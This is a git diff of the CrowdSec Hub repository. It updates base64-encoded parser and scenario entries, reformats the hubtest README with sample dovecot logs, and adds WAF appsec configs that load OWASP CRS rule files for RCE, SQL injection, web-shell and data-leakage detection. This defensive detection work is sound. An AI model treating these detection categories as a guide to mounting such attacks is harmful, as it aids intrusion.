ZGR5LnJlcXVlc3QuaGVhZGVyc1snVXNlci1BZ2VudCddWzBdCiAgLSBtZXRhOiB0YXJnZXRfZnFkbgogICAgZXhwcmVzc2lvbjogZXZ0LlVubWFyc2hhbGVkLmNhZGR5LnJlcXVlc3QuaG9zdAogIC0gbWV0YTogc3ViX3R5cGUKICAgIGV4cHJlc3Npb246ICJldnQuTWV0YS5odHRwX3N0YXR1cyA9PSAnNDAxJyAmJiBldnQuVW5tYXJzaGFsZWQucmVxdWVzdC5oZWFkZXJzLkF1dGhvcml6YXRpb24gc3RhcnRzV2l0aCAnQmFzaWMgJyA/ICdhdXRoX2ZhaWwnIDogJyci",
"description": "Parse caddy logs",
"author": "crowdsecurity",
"labels": null
@@ -4290,7 +5129,7 @@
"crowdsecurity/palo-alto-threat-log": {
"path": "parsers/s01-parse/crowdsecurity/palo-alto-threat-log.yaml",
"stage": "s01-parse",
- "version": "0.2",
+ "version": "0.3",
"versions": {
"0.1": {
"digest": "7a9d62f00f202417325dcfac25efc34e5caaa78b469486977967ced0d0ec6cb1",
@@ -4299,10 +5138,14 @@
"0.2": {
"digest": "8e2ef39c33263f3b2bdca6e6936a61de1a84a4bc7ad741626b31b9f19d2304b7",
"deprecated": false
+ },
+ "0.3": {
+ "digest": "a2f3c15040301cdbbf75233c123d089be2380401de5f335b08275929a2f45974",
+ "deprecated": false
}
},
"long_description": "IyMgUGFsbyBBbHRvIFRocmVhdCBMb2cgUGFyc2VyCgoKUGFyc2UgUGFsbyBBbHRvIFRocmVhdCBMb2cuCk1vcmUgaW5mb3JtYXRpb24gaW4gW1BhbG8gQWx0byBEb2N1bWVudGF0aW9uXShodHRwczovL2RvY3MucGFsb2FsdG9uZXR3b3Jrcy5jb20vcGFuLW9zLzktMS9wYW4tb3MtYWRtaW4vbW9uaXRvcmluZy91c2Utc3lzbG9nLWZvci1tb25pdG9yaW5nL3N5c2xvZy1maWVsZC1kZXNjcmlwdGlvbnMvdGhyZWF0LWxvZy1maWVsZHMp",
- "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmRlYnVnOiB0cnVlCm5hbWU6IGNyb3dkc2VjdXJpdHkvcGFsby1hbHRvLXRocmVhdC1sb2cKZGVzY3JpcHRpb246ICJQYXJzZSBwYWxvLWFsdG8tdGhyZWF0LWxvZyBsb2dzIgpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ3BhbG8tYWx0by10aHJlYXQnIgpwYXR0ZXJuX3N5bnRheDoKICBQQU5fVElNRVNUQU1QOiAiJXtZRUFSfS8le01PTlRITlVNfS8le01PTlRIREFZfSAle0hPVVJ9OiV7TUlOVVRFfTole0lOVH0iCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJygle1RJTUVTVEFNUF9JU084NjAxOnN5c2xvZ190aW1lc3RhbXB9ICk/JXtTWVNMT0dIT1NUOnN5c2xvZ19ob3N0bmFtZX0gJXtEQVRBOnBhbl9yZXNlcnZlZH0sJXtEQVRBfSwle1dPUkQ6c2VyaWFsX251bWJlcn0sJXtXT1JEOmxvZ190eXBlfSwle1dPUkQ6bG9nX3N1YnR5cGV9LCV7REFUQTpwYW5fdW5rbm93bn0sJXtQQU5fVElNRVNUQU1QOmdlbmVyYXRpb25fdGltZXN0YW1wfSwle0lQOnNyY19pcH0sJXtJUDpkc3RfaXB9LCV7SVA6bmF0X3NyY19pcH0sJXtJUDpuYXRfZHN0X2lwfSwle0RBVEE6cnVsZX0sJXtEQVRBOnNyY191c2VyfSwle0RBVEE6ZHN0X3VzZXJ9LCV7REFUQTphcHB9LCV7REFUQTp2c3lzfSwle0RBVEE6c3JjX3pvbmV9LCV7REFUQTpkc3Rfem9uZX0sJXtEQVRBOmluZ3Jlc3NfaW50fSwle0RBVEE6ZWdyZXNzX2ludH0sJXtEQVRBOmxvZ19md2RfcHJvZmlsZX0sJXtEQVRBfSwle0RBVEE6c2Vzc2lvbl9pZH0sJXtEQVRBOnJlcGVhdF9jb3VudH0sJXtEQVRBOnNyY19wb3J0fSwle0RBVEE6ZHN0X3BvcnR9LCV7REFUQTpuYXRfc3JjX3BvcnR9LCV7REFUQTpuYXRfZHN0X3BvcnR9LCV7REFUQTpwYW5fbG9nX2ZsYWdzfSwle0RBVEE6aXBfcHJvdG99LCV7REFUQTphY3Rpb259LCgiJXtEQVRBOnVybF9vcl9maWxlbmFtZX0iKT8sJXtEQVRBOnRocmVhdF9pZH0sJXtEQVRBOnVybF9jYXRlZ29yeV9vcl93aWxkZmlyZV92ZXJkaWN0fSwle0RBVEE6c2V2ZXJpdHl9LCV7REFUQTpkaXJlY3Rpb259LCV7REFUQTpsb2dfc2VxX251bX0sJXtEQVRBOmZ3ZF90b19wYW5vcmFtYX0sJXtEQVRBOnNyY19jb3VudHJ5fSwle0RBVEE6ZHN0X2NvdW50cnl9LCV7REFUQTpodHRwX2NvbnRlbnRfdHlwZX0sJXtEQVRBOnBjYXBfaWR9LCV7REFUQTpmaWxlX2hhc2h9LCV7REFUQTp3aWxkZmlyZV9zZXJ2ZXJ9LCV7R1JFRURZREFUQTp1bnBhcnNlZF9kYXRhfScKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuc3lzbG9nX3RpbWVzdGFtcAogIC0gbWV0YTogbG9nX3R5cGUKICAgIHZhbHVlOiBwYWxvX2FsdG8KICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5zcmNfaXAKICAtIG1ldGE6IHNldmVyaXR5CiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnNldmVyaXR5CiAgLSBtZXRhOiB0aHJlYXRfaWQKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGhyZWF0X2lkCiAgLSBtZXRhOiBkZXN0aW5hdGlvbl9sb2NhdGlvbgogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kc3RfY291bnRyeQogIC0gbWV0YTogc291cmNlX2xvY2F0aW9uCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnNyY19jb3VudHJ5CiAgLSBtZXRhOiBydWxlX25hbWUKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQucnVsZQogIC0gbWV0YTogYXBwbGljYXRpb24KICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuYXBwCiAgLSBtZXRhOiB0aHJlYXRfdHlwZQogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aHJlYXRfaWQK",
+ "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvcGFsby1hbHRvLXRocmVhdC1sb2cKZGVzY3JpcHRpb246ICJQYXJzZSBwYWxvLWFsdG8tdGhyZWF0LWxvZyBsb2dzIgpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ3BhbG8tYWx0by10aHJlYXQnIgpwYXR0ZXJuX3N5bnRheDoKICBQQU5fVElNRVNUQU1QOiAiJXtZRUFSfS8le01PTlRITlVNfS8le01PTlRIREFZfSAle0hPVVJ9OiV7TUlOVVRFfTole0lOVH0iCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJygle1RJTUVTVEFNUF9JU084NjAxOnN5c2xvZ190aW1lc3RhbXB9ICk/JXtTWVNMT0dIT1NUOnN5c2xvZ19ob3N0bmFtZX0gJXtEQVRBOnBhbl9yZXNlcnZlZH0sJXtEQVRBfSwle1dPUkQ6c2VyaWFsX251bWJlcn0sJXtXT1JEOmxvZ190eXBlfSwle1dPUkQ6bG9nX3N1YnR5cGV9LCV7REFUQTpwYW5fdW5rbm93bn0sJXtQQU5fVElNRVNUQU1QOmdlbmVyYXRpb25fdGltZXN0YW1wfSwle0lQOnNyY19pcH0sJXtJUDpkc3RfaXB9LCV7SVA6bmF0X3NyY19pcH0sJXtJUDpuYXRfZHN0X2lwfSwle0RBVEE6cnVsZX0sJXtEQVRBOnNyY191c2VyfSwle0RBVEE6ZHN0X3VzZXJ9LCV7REFUQTphcHB9LCV7REFUQTp2c3lzfSwle0RBVEE6c3JjX3pvbmV9LCV7REFUQTpkc3Rfem9uZX0sJXtEQVRBOmluZ3Jlc3NfaW50fSwle0RBVEE6ZWdyZXNzX2ludH0sJXtEQVRBOmxvZ19md2RfcHJvZmlsZX0sJXtEQVRBfSwle0RBVEE6c2Vzc2lvbl9pZH0sJXtEQVRBOnJlcGVhdF9jb3VudH0sJXtEQVRBOnNyY19wb3J0fSwle0RBVEE6ZHN0X3BvcnR9LCV7REFUQTpuYXRfc3JjX3BvcnR9LCV7REFUQTpuYXRfZHN0X3BvcnR9LCV7REFUQTpwYW5fbG9nX2ZsYWdzfSwle0RBVEE6aXBfcHJvdG99LCV7REFUQTphY3Rpb259LCgiJXtEQVRBOnVybF9vcl9maWxlbmFtZX0iKT8sJXtEQVRBOnRocmVhdF9pZH0sJXtEQVRBOnVybF9jYXRlZ29yeV9vcl93aWxkZmlyZV92ZXJkaWN0fSwle0RBVEE6c2V2ZXJpdHl9LCV7REFUQTpkaXJlY3Rpb259LCV7REFUQTpsb2dfc2VxX251bX0sJXtEQVRBOmZ3ZF90b19wYW5vcmFtYX0sJXtEQVRBOnNyY19jb3VudHJ5fSwle0RBVEE6ZHN0X2NvdW50cnl9LCV7REFUQTpodHRwX2NvbnRlbnRfdHlwZX0sJXtEQVRBOnBjYXBfaWR9LCV7REFUQTpmaWxlX2hhc2h9LCV7REFUQTp3aWxkZmlyZV9zZXJ2ZXJ9LCV7R1JFRURZREFUQTp1bnBhcnNlZF9kYXRhfScKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuc3lzbG9nX3RpbWVzdGFtcAogIC0gbWV0YTogbG9nX3R5cGUKICAgIHZhbHVlOiBwYWxvX2FsdG8KICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5zcmNfaXAKICAtIG1ldGE6IHNldmVyaXR5CiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnNldmVyaXR5CiAgLSBtZXRhOiB0aHJlYXRfaWQKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGhyZWF0X2lkCiAgLSBtZXRhOiBkZXN0aW5hdGlvbl9sb2NhdGlvbgogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kc3RfY291bnRyeQogIC0gbWV0YTogc291cmNlX2xvY2F0aW9uCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnNyY19jb3VudHJ5CiAgLSBtZXRhOiBydWxlX25hbWUKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQucnVsZQogIC0gbWV0YTogYXBwbGljYXRpb24KICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuYXBwCiAgLSBtZXRhOiB0aHJlYXRfdHlwZQogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aHJlYXRfaWQK",
"description": "Parse palo-alto-threat-log logs",
"author": "crowdsecurity",
"labels": null
@@ -6945,6 +7788,38 @@
"spoofable": 0
}
},
+ "crowdsecurity/appsec-vpatch": {
+ "path": "scenarios/crowdsecurity/appsec-vpatch.yaml",
+ "version": "0.3",
+ "versions": {
+ "0.1": {
+ "digest": "6da853b06b3fb716d6094ebdf881df90d27239637ff3389b202b0077eda7acea",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "f43baacd1a6756c8d6c51f632ad52871708b4176d490d77975491fd1c55a8e3d",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "7e5f221a8a725d96df1ba2f6e32de34e02dc98abbb9598e72095ad0db94d6a13",
+ "deprecated": false
+ }
+ },
+ "content": "dHlwZTogbGVha3kKZm9ybWF0OiAzLjAKbmFtZTogY3Jvd2RzZWN1cml0eS9hcHBzZWMtdnBhdGNoCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IGFwcHNlYyBhdHRhY2tzIgpmaWx0ZXI6ICJldnQuTWV0YS5sb2dfdHlwZSA9PSAnYXBwc2VjLWJsb2NrJyIKZGlzdGluY3Q6IGV2dC5NZXRhLnJ1bGVfbmFtZQpsZWFrc3BlZWQ6ICI2MHMiCmNhcGFjaXR5OiAxCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDFtCmxhYmVsczoKICBzZXJ2aWNlOiBodHRwCiAgY29uZmlkZW5jZTogMwogIHNwb29mYWJsZTogMAogIGNsYXNzaWZpY2F0aW9uOgogICAgLSBhdHRhY2suVDExMTAKICBsYWJlbDogImFwcHNlYyBibG9ja2VkIgogIGJlaGF2aW9yOiAiaHR0cDpleHBsb2l0IgogIHJlbWVkaWF0aW9uOiB0cnVlCg==",
+ "description": "Detect appsec attacks",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "attack.T1110"
+ ],
+ "confidence": 3,
+ "label": "appsec blocked",
+ "remediation": true,
+ "service": "http",
+ "spoofable": 0
+ }
+ },
"crowdsecurity/asterisk_bf": {
"path": "scenarios/crowdsecurity/asterisk_bf.yaml",
"version": "0.2",
@@ -7935,6 +8810,63 @@
"spoofable": 0
}
},
+ "crowdsecurity/crowdsec-appsec-inband": {
+ "path": "scenarios/crowdsecurity/crowdsec-appsec-inband.yaml",
+ "version": "0.3",
+ "versions": {
+ "0.1": {
+ "digest": "bf202b09575fe406d17ff9cf267cfc81d228bc0575038a8ae91a137ed4405b58",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "0d0bcfec8fb567aa86271f3e5c45feb16c6091f2c52c32db629117b0bba0e793",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "71213c8536a1e04b36fe2e207ffec099982e78cf7d3ed6a8ecd26440f47cb1c0",
+ "deprecated": false
+ }
+ },
+ "content": "dHlwZTogbGVha3kKZmlsdGVyOiBldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2Nyb3dkc2VjLWFwcHNlYycgJiYgZXZ0LkFwcHNlYy5IYXNJbkJhbmRNYXRjaGVzID09IHRydWUgJiYgZXZ0LlBhcnNlZC5hY3Rpb24gaW4gWyJkZW55IiwgImRyb3AiXQojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS9jcm93ZHNlYy1hcHBzZWMtaW5iYW5kCmRlc2NyaXB0aW9uOiBJUCBoYXMgdHJpZ2dlcmVkIG11bHRpcGxlcyBJbiBCYW5kIENyb3dkU2VjIGFwcHNlYyBydWxlcwpibGFja2hvbGU6IDFtCmxlYWtzcGVlZDogMzBzCmNhcGFjaXR5OiAxCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0LkFwcHNlYy5HZXROYW1lKCkKbGFiZWxzOgogIGNvbmZpZGVuY2U6IDMKICBzcG9vZmFibGU6IDAKICBjbGFzc2lmaWNhdGlvbjoKICAgLSBhdHRhY2suVDExOTAKICBiZWhhdmlvcjogImh0dHA6ZXhwbG9pdCIKICBsYWJlbDogIlRyaWdnZXJlZCBtdWx0aXBsZSBpbmJhbmQgQ3Jvd2RTZWMgYXBwc2VjIHJ1bGVzIgogIHNlcnZpY2U6IGh0dHAKICByZW1lZGlhdGlvbjogdHJ1ZQo=",
+ "description": "IP has triggered multiples In Band CrowdSec appsec rules",
+ "author": "crowdsecurity",
+ "labels": {
+ "behavior": "http:exploit",
+ "classification": [
+ "attack.T1190"
+ ],
+ "confidence": 3,
+ "label": "Triggered multiple inband CrowdSec appsec rules",
+ "remediation": true,
+ "service": "http",
+ "spoofable": 0
+ }
+ },
+ "crowdsecurity/crowdsec-appsec-outofband": {
+ "path": "scenarios/crowdsecurity/crowdsec-appsec-outofband.yaml",
+ "version": "0.3",
+ "versions": {
+ "0.1": {
+ "digest": "1e9a7f01a451b2322f1125b0dfba3c5cdd3dca53e69eb38f245a3e25af6952df",
+ "deprecated": false
+ },
+ "0.2": {
+ "digest": "59393376cbcfb85cd7e609c5fe2c958aa60c519d7ff0ee310f1bab2af01d38e9",
+ "deprecated": false
+ },
+ "0.3": {
+ "digest": "47b3cd0887f58785c2b6a064f4da46e36a17a6e7d34c4893b0bd8308271fe0be",
+ "deprecated": false
+ }
+ },
+ "content": "IyBqdXN0IGNvdW50IGRpc3RpbmN0IG51bWJlciBvZiByZXF1ZXN0cyBnZXR0aW5nIGJsb2NrZWQKdHlwZTogbGVha3kKZmlsdGVyOiBldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2Nyb3dkc2VjLXdhYXAnICYmIGV2dC5BcHBzZWMuSGFzSW5CYW5kTWF0Y2hlcyA9PSBmYWxzZSAmJiBldnQuUGFyc2VkLmFjdGlvbiBpbiBbImRlbnkiLCAiZHJvcCJdCm5hbWU6IGNyb3dkc2VjdXJpdHkvY3Jvd2RzZWMtYXBwc2VjLW91dG9mYmFuZApkZXNjcmlwdGlvbjogSVAgaGFzIHRyaWdnZXJlZCBtb3JlIHRoYW4gNSBDcm93ZFNlYyBPdXQgT2YgQmFuZCBXYWFwIHJ1bGVzCmJsYWNraG9sZTogMm0KbGVha3NwZWVkOiAzMHMKY2FwYWNpdHk6IDUKbGFiZWxzOgogIHR5cGU6IGV4cGxvaXQKICByZW1lZGlhdGlvbjogdHJ1ZQpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgojLS0tCiMgYXQgbGVhc3QgcmVxdWVzdHMgYmxvY2tlZCBvbiAzIGRpc3RpbmN0IFVSSXMKI3R5cGU6IGxlYWt5CiNkZWJ1ZzogdHJ1ZQojZmlsdGVyOiBldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2Nyb3dkc2VjLXdhYXAnICYmIGV2dC5QYXJzZWQuYWN0aW9uID09ICJkZW55IgojbmFtZTogY3Jvd2RzZWN1cml0eS93YWYtcHJvYmluZwojZGVzY3JpcHRpb246ICJXQUYgcHJvYmluZyIKI2JsYWNraG9sZTogMm0KI2xlYWtzcGVlZDogNjBzCiNjYXBhY2l0eTogNQojZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCArIGV2dC5QYXJzZWQudGFyZ2V0X3VyaSIKI2xhYmVsczoKIyAgdHlwZTogZXhwbG9pdAojICByZW1lZGlhdGlvbjogdHJ1ZQojLS0tCiMgIyBhdCBsZWFzdCA1IHJlcXVlc3RzIGJsb2NrZWQgd2l0aCAqKmRpc3RpbmN0KiogSURzCiN0eXBlOiBjb25kaXRpb25hbAojZGVidWc6IHRydWUKI25hbWU6IGNyb3dkc2VjdXJpdHkveHNzLXByb2JpbmcKI2Rlc2NyaXB0aW9uOiBhdCBsZWFzdCA1IGRpZmZlcmVudCBYU1MgcnVsZXMKI2ZpbHRlcjogZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdjcm93ZHNlYy13YWFwJyAmJiBldnQuUGFyc2VkLmFjdGlvbiA9PSAiZGVueSIKI2NvbmRpdGlvbjogbGVuKCBkaXN0aW5jdCggbWVyZ2UoIGFsbChldnQuUXVldWUsIHsgIy5XYWFwLkdldElEcygpfSkgKSApICkgPiA1CiNjb25kaXRpb246IHwKIyAgTG9nSW5mbygiJSt2IiwgRmxhdHRlbkRpc3RpbmN0KCAKIyAgICAgIG1hcCggcXVldWUuUXVldWUsIAojICAgICAgIy5XYWFwLkJ5VGFnUngoIi4qeHNzLioiKS5HZXRSdWxlSURzKCkKIyAgICAgICkgCiMgICAgKSkgJiYKIyAgbGVuKCAKIyAgICBGbGF0dGVuRGlzdGluY3QoIAojICAgICAgbWFwKCBxdWV1ZS5RdWV1ZSwgCiMgICAgICAjLldhYXAuQnlUYWdSeCgiLip4c3MuKiIpLkdldFJ1bGVJRHMoKQojICAgICAgKSAKIyAgICApKSA+IDUKI2NvbmRpdGlvbjogJ0Rpc3RhbmNlKCJhYSIsICJiYiIsICJjYyIsIHsgIy5QYXJzZWQudG90byA9PSAxIH0pJwojY2FwYWNpdHk6IC0xCiNjYWNoZV9zaXplOiAxMDAwCiNsZWFrc3BlZWQ6IDMwcwojZGlzdGluY3Q6IGV2dC5NZXRhLnNvdXJjZV9pcA==",
+ "description": "IP has triggered more than 5 CrowdSec Out Of Band Waap rules",
+ "author": "crowdsecurity",
+ "labels": {
+ "remediation": true,
+ "type": "exploit"
+ }
+ },
"crowdsecurity/dovecot-spam": {
"path": "scenarios/crowdsecurity/dovecot-spam.yaml",
"version": "0.4",
diff --git a/README.md b/README.md
index 11f356cc69c..69b32781ed5 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,3 @@
-
@@ -6,6 +5,7 @@
+
@@ -15,7 +15,6 @@
:speech_balloon: Gitter (Live chat)
-
> CrowdSec Hub for parsers, enrichers and scenarios.
# Foreword
@@ -30,20 +29,17 @@ Feel free to use the parsers/scenarios here as a source of inspiration.
`cscli` provides a `hubtest` sub-command to help contributors to create tests for parsers and scenarios.
-
## View & use existing tests
:warning: most of `cscli hubtest` commands are expected to be run from the root directory of the hub. A git clone of this repository is the easier way to work :warning:
> list existing tests
-`cscli hubtest list`
-
+`cscli hubtest list`
> run a specific test
-`cscli hubtest run [test-name]`
-
+`cscli hubtest run [test-name]`
> show current tests coverage
@@ -52,8 +48,9 @@ Feel free to use the parsers/scenarios here as a source of inspiration.
## Create your own (parser) test
We're going to create the CI tests for the dovecot-parser. Before you start :
- - you will need some *actual* logs
- - you'd better know if the service logs on its own or via syslog (we're in the later case here)
+
+- you will need some _actual_ logs
+- you'd better know if the service logs on its own or via syslog (we're in the later case here)
1. Create a new test
@@ -71,9 +68,9 @@ We're going to create the CI tests for the dovecot-parser. Before you start :
What is relevant here is that every test is composed of :
- - A log file and it's associated type (same `type` as seen in acquis `labels:type`)
- - A configuration specifying which parsers and/or scenarios must be enabled for the test
- - A *ultimately* list of assertions that must be run against the parsers and/or scenarios output
+- A log file and it's associated type (same `type` as seen in acquis `labels:type`)
+- A configuration specifying which parsers and/or scenarios must be enabled for the test
+- A _ultimately_ list of assertions that must be run against the parsers and/or scenarios output
Note: You can provide the parsers and scenarios you want in your test with `--parsers` and `--scenarios` (you can provide multiple parsers and scenarios)
@@ -81,7 +78,6 @@ If you want to test only a scenario, you can specify (`--ignore-parsers`) or set
2. Configure your test
-
We need to edit the test configuration to use the relevant parsers :
```bash
@@ -102,20 +98,20 @@ _note: the order doesn't matter. If the parser name is in the form `author/parse
Now we need to dump some actual logs into the test's log file :
```bash
-▶ cat > .tests/dovecot-logs/dovecot-logs.log
+▶ cat > .tests/dovecot-logs/dovecot-logs.log
Jan 28 10:16:13 dovecot-box dovecot[7508]: imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=4.4.4.4, lip=7.7.7.7, TLS, session=<3650VvK5bdIaW-iK>
Sep 8 07:16:29 canyon dovecot: auth-worker(24058): pam(toto,1.1.1.1,): pam_authenticate() failed: Authentication failure (password mismatch?)
Sep 8 07:46:51 canyon dovecot: auth-worker(24544): pam(toto,1.1.1.1): unknown user
```
-
3. Run the test for the first time
Now that we have config & logs, let's run it for the first time :
```bash
▶ cscli hubtest run dovecot-logs
+
INFO[27-09-2021 06:13:59 PM] Running test 'dovecot-logs'
INFO[27-09-2021 06:13:59 PM] parser 'crowdsecurity/dovecot-logs' installed successfully in runtime environment
INFO[27-09-2021 06:13:59 PM] parser 'crowdsecurity/syslog-logs' installed successfully in runtime environment
@@ -144,9 +140,8 @@ results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Meta["source_ip"] == "
As our `parser.assert` is empty, the tool is generating some "suggested" asserts for us.
Your careful eye will keep only the ones relevant to the parser you're testing :
-
```bash
-▶ cat > .tests/dovecot-logs/parser.assert
+▶ cat > .tests/dovecot-logs/parser.assert
results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Success == true
results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["pid"] == "7508"
results["s01-parse"]["crowdsecurity/dovecot-logs"][0].Evt.Parsed["timestamp"] == "Jan 28 10:16:13"
@@ -188,11 +183,8 @@ results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["datasource_path"
results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Meta["datasource_type"] == "file"
```
-
-
4. Test your newly crafted test
-
```bash
▶ cscli hubtest run dovecot-logs
INFO[27-09-2021 06:19:33 PM] Running test 'dovecot-logs'
@@ -203,17 +195,14 @@ Test 'dovecot-logs' passed successfully (39 assertions) 🟩
And be amazed.
-
-
## Debug your own (parser) test
Things went wrong ? Don't panic
When working on a test, you can as well pass expressions directly to `hubtest` command and see the results :
-
```bash
-▶ cscli hubtest eval dovecot-logs -e 'results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed'
+▶ cscli hubtest eval dovecot-logs -e 'results["s01-parse"]["crowdsecurity/dovecot-logs"][2].Evt.Parsed'
dovecot_login_result: unknown user
dovecot_remote_ip: 1.1.1.1
dovecot_user: toto
@@ -230,7 +219,3 @@ timestamp8601: ""
## Open your PR
yes.
-
-
-
-
diff --git a/appsec-configs/crowdsecurity/crs.yaml b/appsec-configs/crowdsecurity/crs.yaml
new file mode 100644
index 00000000000..240b0f04d2f
--- /dev/null
+++ b/appsec-configs/crowdsecurity/crs.yaml
@@ -0,0 +1,5 @@
+name: crowdsecurity/crs
+default_remediation: ban
+#log_level: debug
+outofband_rules:
+ - crowdsecurity/crs
\ No newline at end of file
diff --git a/appsec-configs/crowdsecurity/virtual-patching.yaml b/appsec-configs/crowdsecurity/virtual-patching.yaml
new file mode 100644
index 00000000000..d3d26bb7c5b
--- /dev/null
+++ b/appsec-configs/crowdsecurity/virtual-patching.yaml
@@ -0,0 +1,8 @@
+name: crowdsecurity/virtual-patching
+default_remediation: ban
+#log_level: debug
+inband_rules:
+ - crowdsecurity/base-config
+ - crowdsecurity/vpatch-*
+# inband_options:
+# disable_body_inspection: true
diff --git a/appsec-rules/crowdsecurity/base-config.yaml b/appsec-rules/crowdsecurity/base-config.yaml
new file mode 100644
index 00000000000..e8510465c8c
--- /dev/null
+++ b/appsec-rules/crowdsecurity/base-config.yaml
@@ -0,0 +1,11 @@
+name: crowdsecurity/base-config
+#### This file is intended to provide a basic configuration for coraza:
+#### - Set the body processors based on the content-type
+
+seclang_rules:
+ - Secrule REQUEST_HEADERS:Content-Type "@rx ^application/x-www-form-urlencoded" "id:100,phase:1,pass,nolog,noauditlog,ctl:requestBodyProcessor=URLENCODED"
+ - Secrule REQUEST_HEADERS:Content-Type "@rx ^multipart/form-data" "id:101,phase:1,pass,nolog,noauditlog,ctl:requestBodyProcessor=MULTIPART"
+ - Secrule REQUEST_HEADERS:Content-Type "@rx ^application/xml" "id:102,phase:1,pass,nolog,noauditlog,ctl:requestBodyProcessor=XML"
+ - Secrule REQUEST_HEADERS:Content-Type "@rx ^application/json" "id:103,phase:1,pass,nolog,noauditlog,ctl:requestBodyProcessor=JSON"
+ - Secrule REQUEST_HEADERS:Content-Type "@rx ^text/xml" "id:104,phase:1,pass,nolog,noauditlog,ctl:requestBodyProcessor=XML"
+ - SecRule REQBODY_PROCESSOR "!@rx (?:URLENCODED|MULTIPART|XML|JSON)" "id:105,phase:1,pass,nolog,noauditlog,ctl:requestBodyProcessor=RAW" #Use our custom RAW body processor, just to have REQUEST_BODY set
diff --git a/appsec-rules/crowdsecurity/crs.yaml b/appsec-rules/crowdsecurity/crs.yaml
new file mode 100644
index 00000000000..720bea0d27a
--- /dev/null
+++ b/appsec-rules/crowdsecurity/crs.yaml
@@ -0,0 +1,180 @@
+name: crowdsecurity/crs
+seclang_rules:
+ - SecRuleEngine On
+ - SecRequestBodyAccess On
+seclang_files_rules:
+ - crs-setup.conf
+ - REQUEST-901-INITIALIZATION.conf
+ - REQUEST-905-COMMON-EXCEPTIONS.conf
+ - REQUEST-911-METHOD-ENFORCEMENT.conf
+ - REQUEST-913-SCANNER-DETECTION.conf
+ - REQUEST-920-PROTOCOL-ENFORCEMENT.conf
+ - REQUEST-921-PROTOCOL-ATTACK.conf
+ - REQUEST-922-MULTIPART-ATTACK.conf
+ - REQUEST-930-APPLICATION-ATTACK-LFI.conf
+ - REQUEST-931-APPLICATION-ATTACK-RFI.conf
+ - REQUEST-932-APPLICATION-ATTACK-RCE.conf
+ - REQUEST-933-APPLICATION-ATTACK-PHP.conf
+ - REQUEST-934-APPLICATION-ATTACK-GENERIC.conf
+ - REQUEST-941-APPLICATION-ATTACK-XSS.conf
+ - REQUEST-942-APPLICATION-ATTACK-SQLI.conf
+ - REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION.conf
+ - REQUEST-944-APPLICATION-ATTACK-JAVA.conf
+ - REQUEST-949-BLOCKING-EVALUATION.conf
+ - RESPONSE-950-DATA-LEAKAGES.conf
+ - RESPONSE-951-DATA-LEAKAGES-SQL.conf
+ - RESPONSE-952-DATA-LEAKAGES-JAVA.conf
+ - RESPONSE-953-DATA-LEAKAGES-PHP.conf
+ - RESPONSE-954-DATA-LEAKAGES-IIS.conf
+ - RESPONSE-955-WEB-SHELLS.conf
+ - RESPONSE-959-BLOCKING-EVALUATION.conf
+ - RESPONSE-980-CORRELATION.conf
+
+data:
+ - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/waf-rules/waf/crs/crs-setup.conf
+ dest_file: crs-setup.conf
+ type: modsec
